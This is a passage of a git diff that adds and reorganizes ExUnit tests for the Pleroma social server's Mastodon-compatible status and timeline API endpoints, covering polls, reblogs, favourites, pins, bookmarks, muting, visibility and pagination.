["this post was made by pleroma gang"], +            "expires_in" => limit - 1 +          } +        }) + +      %{"error" => error} = json_response(conn, 422) +      assert error == "Expiration date is too soon" +    end + +    test "maximum date limit is enforced", %{conn: conn} do +      user = insert(:user) +      limit = Config.get([:instance, :poll_limits, :max_expiration]) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses", %{ +          "status" => "imagine arbitrary limits", +          "poll" => %{ +            "options" => ["this post was made by pleroma gang"], +            "expires_in" => limit + 1 +          } +        }) + +      %{"error" => error} = json_response(conn, 422) +      assert error == "Expiration date is too far in the future" +    end +  end + +  test "get a status", %{conn: conn} do +    activity = insert(:note_activity) + +    conn = +      conn +      |> get("/api/v1/statuses/#{activity.id}") + +    assert %{"id" => id} = json_response(conn, 200) +    assert id == to_string(activity.id) +  end + +  test "get statuses by IDs", %{conn: conn} do +    %{id: id1} = insert(:note_activity) +    %{id: id2} = insert(:note_activity) + +    query_string = "ids[]=#{id1}&ids[]=#{id2}" +    conn = get(conn, "/api/v1/statuses/?#{query_string}") + +    assert [%{"id" => ^id1}, %{"id" => ^id2}] = Enum.sort_by(json_response(conn, :ok), & &1["id"]) +  end + +  describe "deleting a status" do +    test "when you created it", %{conn: conn} do +      activity = insert(:note_activity) +      author = User.get_cached_by_ap_id(activity.data["actor"]) + +      conn = +        conn +        |> assign(:user, author) +        |> delete("/api/v1/statuses/#{activity.id}") + +      assert %{} = json_response(conn, 200) + +      refute Activity.get_by_id(activity.id) +    end + +    test "when you didn't create it", %{conn: conn} do +      activity = insert(:note_activity) +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> delete("/api/v1/statuses/#{activity.id}") + +      assert %{"error" => _} = json_response(conn, 403) + +      assert Activity.get_by_id(activity.id) == activity +    end + +    test "when you're an admin or moderator", %{conn: conn} do +      activity1 = insert(:note_activity) +      activity2 = insert(:note_activity) +      admin = insert(:user, info: %{is_admin: true}) +      moderator = insert(:user, info: %{is_moderator: true}) + +      res_conn = +        conn +        |> assign(:user, admin) +        |> delete("/api/v1/statuses/#{activity1.id}") + +      assert %{} = json_response(res_conn, 200) + +      res_conn = +        conn +        |> assign(:user, moderator) +        |> delete("/api/v1/statuses/#{activity2.id}") + +      assert %{} = json_response(res_conn, 200) + +      refute Activity.get_by_id(activity1.id) +      refute Activity.get_by_id(activity2.id) +    end +  end + +  describe "reblogging" do +    test "reblogs and returns the reblogged status", %{conn: conn} do +      activity = insert(:note_activity) +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses/#{activity.id}/reblog") + +      assert %{ +               "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, +               "reblogged" => true +             } = json_response(conn, 200) + +      assert to_string(activity.id) == id +    end + +    test "reblogged status for another user", %{conn: conn} do +      activity = insert(:note_activity) +      user1 = insert(:user) +      user2 = insert(:user) +      user3 = insert(:user) +      CommonAPI.favorite(activity.id, user2) +      {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id) +      {:ok, reblog_activity1, _object} = CommonAPI.repeat(activity.id, user1) +      {:ok, _, _object} = CommonAPI.repeat(activity.id, user2) + +      conn_res = +        conn +        |> assign(:user, user3) +        |> get("/api/v1/statuses/#{reblog_activity1.id}") + +      assert %{ +               "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2}, +               "reblogged" => false, +               "favourited" => false, +               "bookmarked" => false +             } = json_response(conn_res, 200) + +      conn_res = +        conn +        |> assign(:user, user2) +        |> get("/api/v1/statuses/#{reblog_activity1.id}") + +      assert %{ +               "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2}, +               "reblogged" => true, +               "favourited" => true, +               "bookmarked" => true +             } = json_response(conn_res, 200) + +      assert to_string(activity.id) == id +    end + +    test "returns 400 error when activity is not exist", %{conn: conn} do +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses/foo/reblog") + +      assert json_response(conn, 400) == %{"error" => "Could not repeat"} +    end +  end + +  describe "unreblogging" do +    test "unreblogs and returns the unreblogged status", %{conn: conn} do +      activity = insert(:note_activity) +      user = insert(:user) + +      {:ok, _, _} = CommonAPI.repeat(activity.id, user) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses/#{activity.id}/unreblog") + +      assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = json_response(conn, 200) + +      assert to_string(activity.id) == id +    end + +    test "returns 400 error when activity is not exist", %{conn: conn} do +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses/foo/unreblog") + +      assert json_response(conn, 400) == %{"error" => "Could not unrepeat"} +    end +  end + +  describe "favoriting" do +    test "favs a status and returns it", %{conn: conn} do +      activity = insert(:note_activity) +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses/#{activity.id}/favourite") + +      assert %{"id" => id, "favourites_count" => 1, "favourited" => true} = +               json_response(conn, 200) + +      assert to_string(activity.id) == id +    end + +    test "returns 400 error for a wrong id", %{conn: conn} do +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses/1/favourite") + +      assert json_response(conn, 400) == %{"error" => "Could not favorite"} +    end +  end + +  describe "unfavoriting" do +    test "unfavorites a status and returns it", %{conn: conn} do +      activity = insert(:note_activity) +      user = insert(:user) + +      {:ok, _, _} = CommonAPI.favorite(activity.id, user) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses/#{activity.id}/unfavourite") + +      assert %{"id" => id, "favourites_count" => 0, "favourited" => false} = +               json_response(conn, 200) + +      assert to_string(activity.id) == id +    end + +    test "returns 400 error for a wrong id", %{conn: conn} do +      user = insert(:user) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses/1/unfavourite") + +      assert json_response(conn, 400) == %{"error" => "Could not unfavorite"} +    end +  end + +  describe "pinned statuses" do +    setup do +      user = insert(:user) +      {:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"}) + +      [user: user, activity: activity] +    end + +    clear_config([:instance, :max_pinned_statuses]) do +      Config.put([:instance, :max_pinned_statuses], 1) +    end + +    test "pin status", %{conn: conn, user: user, activity: activity} do +      id_str = to_string(activity.id) + +      assert %{"id" => ^id_str, "pinned" => true} = +               conn +               |> assign(:user, user) +               |> post("/api/v1/statuses/#{activity.id}/pin") +               |> json_response(200) + +      assert [%{"id" => ^id_str, "pinned" => true}] = +               conn +               |> assign(:user, user) +               |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") +               |> json_response(200) +    end + +    test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do +      {:ok, dm} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"}) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses/#{dm.id}/pin") + +      assert json_response(conn, 400) == %{"error" => "Could not pin"} +    end + +    test "unpin status", %{conn: conn, user: user, activity: activity} do +      {:ok, _} = CommonAPI.pin(activity.id, user) + +      id_str = to_string(activity.id) +      user = refresh_record(user) + +      assert %{"id" => ^id_str, "pinned" => false} = +               conn +               |> assign(:user, user) +               |> post("/api/v1/statuses/#{activity.id}/unpin") +               |> json_response(200) + +      assert [] = +               conn +               |> assign(:user, user) +               |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") +               |> json_response(200) +    end + +    test "/unpin: returns 400 error when activity is not exist", %{conn: conn, user: user} do +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses/1/unpin") + +      assert json_response(conn, 400) == %{"error" => "Could not unpin"} +    end + +    test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do +      {:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"}) + +      id_str_one = to_string(activity_one.id) + +      assert %{"id" => ^id_str_one, "pinned" => true} = +               conn +               |> assign(:user, user) +               |> post("/api/v1/statuses/#{id_str_one}/pin") +               |> json_response(200) + +      user = refresh_record(user) + +      assert %{"error" => "You have already pinned the maximum number of statuses"} = +               conn +               |> assign(:user, user) +               |> post("/api/v1/statuses/#{activity_two.id}/pin") +               |> json_response(400) +    end +  end + +  describe "cards" do +    setup do +      Config.put([:rich_media, :enabled], true) + +      user = insert(:user) +      %{user: user} +    end + +    test "returns rich-media card", %{conn: conn, user: user} do +      Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + +      {:ok, activity} = CommonAPI.post(user, %{"status" => "https://example.com/ogp"}) + +      card_data = %{ +        "image" => "http://ia.media-imdb.com/images/rock.jpg", +        "provider_name" => "example.com", +        "provider_url" => "https://example.com", +        "title" => "The Rock", +        "type" => "link", +        "url" => "https://example.com/ogp", +        "description" => +          "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", +        "pleroma" => %{ +          "opengraph" => %{ +            "image" => "http://ia.media-imdb.com/images/rock.jpg", +            "title" => "The Rock", +            "type" => "video.movie", +            "url" => "https://example.com/ogp", +            "description" => +              "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer." +          } +        } +      } + +      response = +        conn +        |> get("/api/v1/statuses/#{activity.id}/card") +        |> json_response(200) + +      assert response == card_data + +      # works with private posts +      {:ok, activity} = +        CommonAPI.post(user, %{"status" => "https://example.com/ogp", "visibility" => "direct"}) + +      response_two = +        conn +        |> assign(:user, user) +        |> get("/api/v1/statuses/#{activity.id}/card") +        |> json_response(200) + +      assert response_two == card_data +    end + +    test "replaces missing description with an empty string", %{conn: conn, user: user} do +      Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + +      {:ok, activity} = +        CommonAPI.post(user, %{"status" => "https://example.com/ogp-missing-data"}) + +      response = +        conn +        |> get("/api/v1/statuses/#{activity.id}/card") +        |> json_response(:ok) + +      assert response == %{ +               "type" => "link", +               "title" => "Pleroma", +               "description" => "", +               "image" => nil, +               "provider_name" => "example.com", +               "provider_url" => "https://example.com", +               "url" => "https://example.com/ogp-missing-data", +               "pleroma" => %{ +                 "opengraph" => %{ +                   "title" => "Pleroma", +                   "type" => "website", +                   "url" => "https://example.com/ogp-missing-data" +                 } +               } +             } +    end +  end + +  test "bookmarks" do +    user = insert(:user) +    for_user = insert(:user) + +    {:ok, activity1} = +      CommonAPI.post(user, %{ +        "status" => "heweoo?" +      }) + +    {:ok, activity2} = +      CommonAPI.post(user, %{ +        "status" => "heweoo!" +      }) + +    response1 = +      build_conn() +      |> assign(:user, for_user) +      |> post("/api/v1/statuses/#{activity1.id}/bookmark") + +    assert json_response(response1, 200)["bookmarked"] == true + +    response2 = +      build_conn() +      |> assign(:user, for_user) +      |> post("/api/v1/statuses/#{activity2.id}/bookmark") + +    assert json_response(response2, 200)["bookmarked"] == true + +    bookmarks = +      build_conn() +      |> assign(:user, for_user) +      |> get("/api/v1/bookmarks") + +    assert [json_response(response2, 200), json_response(response1, 200)] == +             json_response(bookmarks, 200) + +    response1 = +      build_conn() +      |> assign(:user, for_user) +      |> post("/api/v1/statuses/#{activity1.id}/unbookmark") + +    assert json_response(response1, 200)["bookmarked"] == false + +    bookmarks = +      build_conn() +      |> assign(:user, for_user) +      |> get("/api/v1/bookmarks") + +    assert [json_response(response2, 200)] == json_response(bookmarks, 200) +  end + +  describe "conversation muting" do +    setup do +      post_user = insert(:user) +      user = insert(:user) + +      {:ok, activity} = CommonAPI.post(post_user, %{"status" => "HIE"}) + +      [user: user, activity: activity] +    end + +    test "mute conversation", %{conn: conn, user: user, activity: activity} do +      id_str = to_string(activity.id) + +      assert %{"id" => ^id_str, "muted" => true} = +               conn +               |> assign(:user, user) +               |> post("/api/v1/statuses/#{activity.id}/mute") +               |> json_response(200) +    end + +    test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do +      {:ok, _} = CommonAPI.add_mute(user, activity) + +      conn = +        conn +        |> assign(:user, user) +        |> post("/api/v1/statuses/#{activity.id}/mute") + +      assert json_response(conn, 400) == %{"error" => "conversation is already muted"} +    end + +    test "unmute conversation", %{conn: conn, user: user, activity: activity} do +      {:ok, _} = CommonAPI.add_mute(user, activity) + +      id_str = to_string(activity.id) +      user = refresh_record(user) + +      assert %{"id" => ^id_str, "muted" => false} = +               conn +               |> assign(:user, user) +               |> post("/api/v1/statuses/#{activity.id}/unmute") +               |> json_response(200) +    end +  end + +  test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do +    user1 = insert(:user) +    user2 = insert(:user) +    user3 = insert(:user) + +    {:ok, replied_to} = CommonAPI.post(user1, %{"status" => "cofe"}) + +    # Reply to status from another user +    conn1 = +      conn +      |> assign(:user, user2) +      |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) + +    assert %{"content" => "xD", "id" => id} = json_response(conn1, 200) + +    activity = Activity.get_by_id_with_object(id) + +    assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"] +    assert Activity.get_in_reply_to_activity(activity).id == replied_to.id + +    # Reblog from the third user +    conn2 = +      conn +      |> assign(:user, user3) +      |> post("/api/v1/statuses/#{activity.id}/reblog") + +    assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} = +             json_response(conn2, 200) + +    assert to_string(activity.id) == id + +    # Getting third user status +    conn3 = +      conn +      |> assign(:user, user3) +      |> get("api/v1/timelines/home") + +    [reblogged_activity] = json_response(conn3, 200) + +    assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id + +    replied_to_user = User.get_by_ap_id(replied_to.data["actor"]) +    assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id +  end + +  describe "GET /api/v1/statuses/:id/favourited_by" do +    setup do +      user = insert(:user) +      {:ok, activity} = CommonAPI.post(user, %{"status" => "test"}) + +      conn = +        build_conn() +        |> assign(:user, user) + +      [conn: conn, activity: activity, user: user] +    end + +    test "returns users who have favorited the status", %{conn: conn, activity: activity} do +      other_user = insert(:user) +      {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) + +      response = +        conn +        |> get("/api/v1/statuses/#{activity.id}/favourited_by") +        |> json_response(:ok) + +      [%{"id" => id}] = response + +      assert id == other_user.id +    end + +    test "returns empty array when status has not been favorited yet", %{ +      conn: conn, +      activity: activity +    } do +      response = +        conn +        |> get("/api/v1/statuses/#{activity.id}/favourited_by") +        |> json_response(:ok) + +      assert Enum.empty?(response) +    end + +    test "does not return users who have favorited the status but are blocked", %{ +      conn: %{assigns: %{user: user}} = conn, +      activity: activity +    } do +      other_user = insert(:user) +      {:ok, user} = User.block(user, other_user) + +      {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) + +      response = +        conn +        |> assign(:user, user) +        |> get("/api/v1/statuses/#{activity.id}/favourited_by") +        |> json_response(:ok) + +      assert Enum.empty?(response) +    end + +    test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do +      other_user = insert(:user) +      {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) + +      response = +        conn +        |> assign(:user, nil) +        |> get("/api/v1/statuses/#{activity.id}/favourited_by") +        |> json_response(:ok) + +      [%{"id" => id}] = response +      assert id == other_user.id +    end + +    test "requires authentification for private posts", %{conn: conn, user: user} do +      other_user = insert(:user) + +      {:ok, activity} = +        CommonAPI.post(user, %{ +          "status" => "@#{other_user.nickname} wanna get some #cofe together?", +          "visibility" => "direct" +        }) + +      {:ok, _, _} = CommonAPI.favorite(activity.id, other_user) + +      conn +      |> assign(:user, nil) +      |> get("/api/v1/statuses/#{activity.id}/favourited_by") +      |> json_response(404) + +      response = +        build_conn() +        |> assign(:user, other_user) +        |> get("/api/v1/statuses/#{activity.id}/favourited_by") +        |> json_response(200) + +      [%{"id" => id}] = response +      assert id == other_user.id +    end +  end + +  describe "GET /api/v1/statuses/:id/reblogged_by" do +    setup do +      user = insert(:user) +      {:ok, activity} = CommonAPI.post(user, %{"status" => "test"}) + +      conn = +        build_conn() +        |> assign(:user, user) + +      [conn: conn, activity: activity, user: user] +    end + +    test "returns users who have reblogged the status", %{conn: conn, activity: activity} do +      other_user = insert(:user) +      {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) + +      response = +        conn +        |> get("/api/v1/statuses/#{activity.id}/reblogged_by") +        |> json_response(:ok) + +      [%{"id" => id}] = response + +      assert id == other_user.id +    end + +    test "returns empty array when status has not been reblogged yet", %{ +      conn: conn, +      activity: activity +    } do +      response = +        conn +        |> get("/api/v1/statuses/#{activity.id}/reblogged_by") +        |> json_response(:ok) + +      assert Enum.empty?(response) +    end + +    test "does not return users who have reblogged the status but are blocked", %{ +      conn: %{assigns: %{user: user}} = conn, +      activity: activity +    } do +      other_user = insert(:user) +      {:ok, user} = User.block(user, other_user) + +      {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) + +      response = +        conn +        |> assign(:user, user) +        |> get("/api/v1/statuses/#{activity.id}/reblogged_by") +        |> json_response(:ok) + +      assert Enum.empty?(response) +    end + +    test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do +      other_user = insert(:user) +      {:ok, _, _} = CommonAPI.repeat(activity.id, other_user) + +      response = +        conn +        |> assign(:user, nil) +        |> get("/api/v1/statuses/#{activity.id}/reblogged_by") +        |> json_response(:ok) + +      [%{"id" => id}] = response +      assert id == other_user.id +    end + +    test "requires authentification for private posts", %{conn: conn, user: user} do +      other_user = insert(:user) + +      {:ok, activity} = +        CommonAPI.post(user, %{ +          "status" => "@#{other_user.nickname} wanna get some #cofe together?", +          "visibility" => "direct" +        }) + +      conn +      |> assign(:user, nil) +      |> get("/api/v1/statuses/#{activity.id}/reblogged_by") +      |> json_response(404) + +      response = +        build_conn() +        |> assign(:user, other_user) +        |> get("/api/v1/statuses/#{activity.id}/reblogged_by") +        |> json_response(200) + +      assert [] == response +    end +  end + +  test "context" do +    user = insert(:user) + +    {:ok, %{id: id1}} = CommonAPI.post(user, %{"status" => "1"}) +    {:ok, %{id: id2}} = CommonAPI.post(user, %{"status" => "2", "in_reply_to_status_id" => id1}) +    {:ok, %{id: id3}} = CommonAPI.post(user, %{"status" => "3", "in_reply_to_status_id" => id2}) +    {:ok, %{id: id4}} = CommonAPI.post(user, %{"status" => "4", "in_reply_to_status_id" => id3}) +    {:ok, %{id: id5}} = CommonAPI.post(user, %{"status" => "5", "in_reply_to_status_id" => id4}) + +    response = +      build_conn() +      |> assign(:user, nil) +      |> get("/api/v1/statuses/#{id3}/context") +      |> json_response(:ok) + +    assert %{ +             "ancestors" => [%{"id" => ^id1}, %{"id" => ^id2}], +             "descendants" => [%{"id" => ^id4}, %{"id" => ^id5}] +           } = response +  end +end diff --git a/test/web/mastodon_api/controllers/timeline_controller_test.exs b/test/web/mastodon_api/controllers/timeline_controller_test.exs new file mode 100644 index 000000000..d3652d964 --- /dev/null +++ b/test/web/mastodon_api/controllers/timeline_controller_test.exs @@ -0,0 +1,291 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.TimelineControllerTest do +  use Pleroma.Web.ConnCase + +  import Pleroma.Factory +  import Tesla.Mock + +  alias Pleroma.Config +  alias Pleroma.User +  alias Pleroma.Web.CommonAPI +  alias Pleroma.Web.OStatus + +  clear_config([:instance, :public]) + +  setup do +    mock(fn env -> apply(HttpRequestMock, :request, [env]) end) +    :ok +  end + +  test "the home timeline", %{conn: conn} do +    user = insert(:user) +    following = insert(:user) + +    {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"}) + +    conn = +      conn +      |> assign(:user, user) +      |> get("/api/v1/timelines/home") + +    assert Enum.empty?(json_response(conn, :ok)) + +    {:ok, user} = User.follow(user, following) + +    conn = +      build_conn() +      |> assign(:user, user) +      |> get("/api/v1/timelines/home") + +    assert [%{"content" => "test"}] = json_response(conn, :ok) +  end + +  describe "public" do +    @tag capture_log: true +    test "the public timeline", %{conn: conn} do +      following = insert(:user) + +      {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"}) + +      {:ok, [_activity]} = +        OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873") + +      conn = get(conn, "/api/v1/timelines/public", %{"local" => "False"}) + +      assert length(json_response(conn, :ok)) == 2 + +      conn = get(build_conn(), "/api/v1/timelines/public", %{"local" => "True"}) + +      assert [%{"content" => "test"}] = json_response(conn, :ok) + +      conn = get(build_conn(), "/api/v1/timelines/public", %{"local" => "1"}) + +      assert [%{"content" => "test"}] = json_response(conn, :ok) +    end + +    test "the public timeline when public is set to false", %{conn: conn} do +      Config.put([:instance, :public], false) + +      assert %{"error" => "This resource requires authentication."} == +               conn +               |> get("/api/v1/timelines/public", %{"local" => "False"}) +               |> json_response(:forbidden) +    end + +    test "the public timeline includes only public statuses for an authenticated user" do +      user = insert(:user) + +      conn = +        build_conn() +        |> assign(:user, user) + +      {:ok, _activity} = CommonAPI.post(user, %{"status" => "test"}) +      {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "private"}) +      {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "unlisted"}) +      {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"}) + +      res_conn = get(conn, "/api/v1/timelines/public") +      assert length(json_response(res_conn, 200)) == 1 +    end +  end + +  describe "direct" do +    test "direct timeline", %{conn: conn} do +      user_one = insert(:user) +      user_two = insert(:user) + +      {:ok, user_two} = User.follow(user_two, user_one) + +      {:ok, direct} = +        CommonAPI.post(user_one, %{ +          "status" => "Hi @#{user_two.nickname}!", +          "visibility" => "direct" +        }) + +      {:ok, _follower_only} = +        CommonAPI.post(user_one, %{ +          "status" => "Hi @#{user_two.nickname}!", +          "visibility" => "private" +        }) + +      # Only direct should be visible here +      res_conn = +        conn +        |> assign(:user, user_two) +        |> get("api/v1/timelines/direct") + +      [status] = json_response(res_conn, :ok) + +      assert %{"visibility" => "direct"} = status +      assert status["url"] != direct.data["id"] + +      # User should be able to see their own direct message +      res_conn = +        build_conn() +        |> assign(:user, user_one) +        |> get("api/v1/timelines/direct") + +      [status] = json_response(res_conn, :ok) + +      assert %{"visibility" => "direct"} = status + +      # Both should be visible here +      res_conn = +        conn +        |> assign(:user, user_two) +        |> get("api/v1/timelines/home") + +      [_s1, _s2] = json_response(res_conn, :ok) + +      # Test pagination +      Enum.each(1..20, fn _ -> +        {:ok, _} = +          CommonAPI.post(user_one, %{ +            "status" => "Hi @#{user_two.nickname}!", +            "visibility" => "direct" +          }) +      end) + +      res_conn = +        conn +        |> assign(:user, user_two) +        |> get("api/v1/timelines/direct") + +      statuses = json_response(res_conn, :ok) +      assert length(statuses) == 20 + +      res_conn = +        conn +        |> assign(:user, user_two) +        |> get("api/v1/timelines/direct", %{max_id: List.last(statuses)["id"]}) + +      [status] = json_response(res_conn, :ok) + +      assert status["url"] != direct.data["id"] +    end + +    test "doesn't include DMs from blocked users", %{conn: conn} do +      blocker = insert(:user) +      blocked = insert(:user) +      user = insert(:user) +      {:ok, blocker} = User.block(blocker, blocked) + +      {:ok, _blocked_direct} = +        CommonAPI.post(blocked, %{ +          "status" => "Hi @#{blocker.nickname}!", +          "visibility" => "direct" +        }) + +      {:ok, direct} = +        CommonAPI.post(user, %{ +          "status" => "Hi @#{blocker.nickname}!", +          "visibility" => "direct" +        }) + +      res_conn = +        conn +        |> assign(:user, user) +        |> get("api/v1/timelines/direct") + +      [status] = json_response(res_conn, :ok) +      assert status["id"] == direct.id +    end +  end + +  describe "list" do +    test "list timeline", %{conn: conn} do +      user = insert(:user) +      other_user = insert(:user) +      {:ok, _activity_one} = CommonAPI.post(user, %{"status" => "Marisa is cute."}) +      {:ok, activity_two} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."}) +      {:ok, list} = Pleroma.List.create("name", user) +      {:ok, list} = Pleroma.List.follow(list, other_user) + +      conn = +        conn +        |> assign(:user, user) +        |> get("/api/v1/timelines/list/#{list.id}") + +      assert [%{"id" => id}] = json_response(conn, :ok) + +      assert id == to_string(activity_two.id) +    end + +    test "list timeline does not leak non-public statuses for unfollowed users", %{conn: conn} do +      user = insert(:user) +      other_user = insert(:user) +      {:ok, activity_one} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."}) + +      {:ok, _activity_two} = +        CommonAPI.post(other_user, %{ +          "status" => "Marisa is cute.", +          "visibility" => "private" +        }) + +      {:ok, list} = Pleroma.List.create("name", user) +      {:ok, list} = Pleroma.List.follow(list, other_user) + +      conn = +        conn +        |> assign(:user, user) +        |> get("/api/v1/timelines/list/#{list.id}") + +      assert [%{"id" => id}] = json_response(conn, :ok) + +      assert id == to_string(activity_one.id) +    end +  end + +  describe "hashtag" do +    @tag capture_log: true +    test "hashtag timeline", %{conn: conn} do +      following = insert(:user) + +      {:ok, activity} = CommonAPI.post(following, %{"status" => "test #2hu"}) + +      {:ok, [_activity]} = +        OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873") + +      nconn = get(conn, "/api/v1/timelines/tag/2hu") + +      assert [%{"id" => id}] = json_response(nconn, :ok) + +      assert id == to_string(activity.id) + +      # works for different capitalization too +      nconn = get(conn, "/api/v1/timelines/tag/2HU") + +      assert [%{"id" => id}] = json_response(nconn, :ok) + +      assert id == to_string(activity.id) +    end + +    test "multi-hashtag timeline", %{conn: conn} do +      user = insert(:user) + +      {:ok, activity_test} = CommonAPI.post(user, %{"status" => "#test"}) +      {:ok, activity_test1} = CommonAPI.post(user, %{"status" => "#test #test1"}) +      {:ok, activity_none} = CommonAPI.post(user, %{"status" => "#test #none"}) + +      any_test = get(conn, "/api/v1/timelines/tag/test", %{"any" => ["test1"]}) + +      [status_none, status_test1, status_test] = json_response(any_test, :ok) + +      assert to_string(activity_test.id) == status_test["id"] +      assert to_string(activity_test1.id) == status_test1["id"] +      assert to_string(activity_none.id) == status_none["id"] + +      restricted_test = +        get(conn, "/api/v1/timelines/tag/test", %{"all" => ["test1"], "none" => ["none"]}) + +      assert [status_test1] == json_response(restricted_test, :ok) + +      all_test = get(conn, "/api/v1/timelines/tag/test", %{"all" => ["none"]}) + +      assert [status_none] == json_response(all_test, :ok) +    end +  end +end diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs index f4902d043..8080d3941 100644 --- a/test/web/mastodon_api/mastodon_api_controller_test.exs +++ b/test/web/mastodon_api/mastodon_api_controller_test.exs @@ -6,25 +6,22 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do    use Pleroma.Web.ConnCase    alias Ecto.Changeset -  alias Pleroma.Activity -  alias Pleroma.ActivityExpiration    alias Pleroma.Config    alias Pleroma.Notification    alias Pleroma.Object    alias Pleroma.Repo -  alias Pleroma.ScheduledActivity +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.User    alias Pleroma.Web.ActivityPub.ActivityPub    alias Pleroma.Web.CommonAPI -  alias Pleroma.Web.MastodonAPI.FilterView    alias Pleroma.Web.OAuth.App    alias Pleroma.Web.OAuth.Token -  alias Pleroma.Web.OStatus    alias Pleroma.Web.Push -  import Pleroma.Factory +    import ExUnit.CaptureLog -  import Tesla.Mock +  import Pleroma.Factory    import Swoosh.TestAssertions +  import Tesla.Mock    @image "data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7" @@ -36,534 +33,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do    clear_config([:instance, :public])    clear_config([:rich_media, :enabled]) -  test "the home timeline", %{conn: conn} do -    user = insert(:user) -    following = insert(:user) - -    {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"}) - -    conn = -      conn -      |> assign(:user, user) -      |> get("/api/v1/timelines/home") - -    assert Enum.empty?(json_response(conn, 200)) - -    {:ok, user} = User.follow(user, following) - -    conn = -      build_conn() -      |> assign(:user, user) -      |> get("/api/v1/timelines/home") - -    assert [%{"content" => "test"}] = json_response(conn, 200) -  end - -  test "the public timeline", %{conn: conn} do -    following = insert(:user) - -    capture_log(fn -> -      {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"}) - -      {:ok, [_activity]} = -        OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873") - -      conn = -        conn -        |> get("/api/v1/timelines/public", %{"local" => "False"}) - -      assert length(json_response(conn, 200)) == 2 - -      conn = -        build_conn() -        |> get("/api/v1/timelines/public", %{"local" => "True"}) - -      assert [%{"content" => "test"}] = json_response(conn, 200) - -      conn = -        build_conn() -        |> get("/api/v1/timelines/public", %{"local" => "1"}) - -      assert [%{"content" => "test"}] = json_response(conn, 200) -    end) -  end - -  test "the public timeline when public is set to false", %{conn: conn} do -    Config.put([:instance, :public], false) - -    assert conn -           |> get("/api/v1/timelines/public", %{"local" => "False"}) -           |> json_response(403) == %{"error" => "This resource requires authentication."} -  end - -  describe "posting statuses" do -    setup do -      user = insert(:user) - -      conn = -        build_conn() -        |> assign(:user, user) - -      [conn: conn] -    end - -    test "posting a status", %{conn: conn} do -      idempotency_key = "Pikachu rocks!" - -      conn_one = -        conn -        |> put_req_header("idempotency-key", idempotency_key) -        |> post("/api/v1/statuses", %{ -          "status" => "cofe", -          "spoiler_text" => "2hu", -          "sensitive" => "false" -        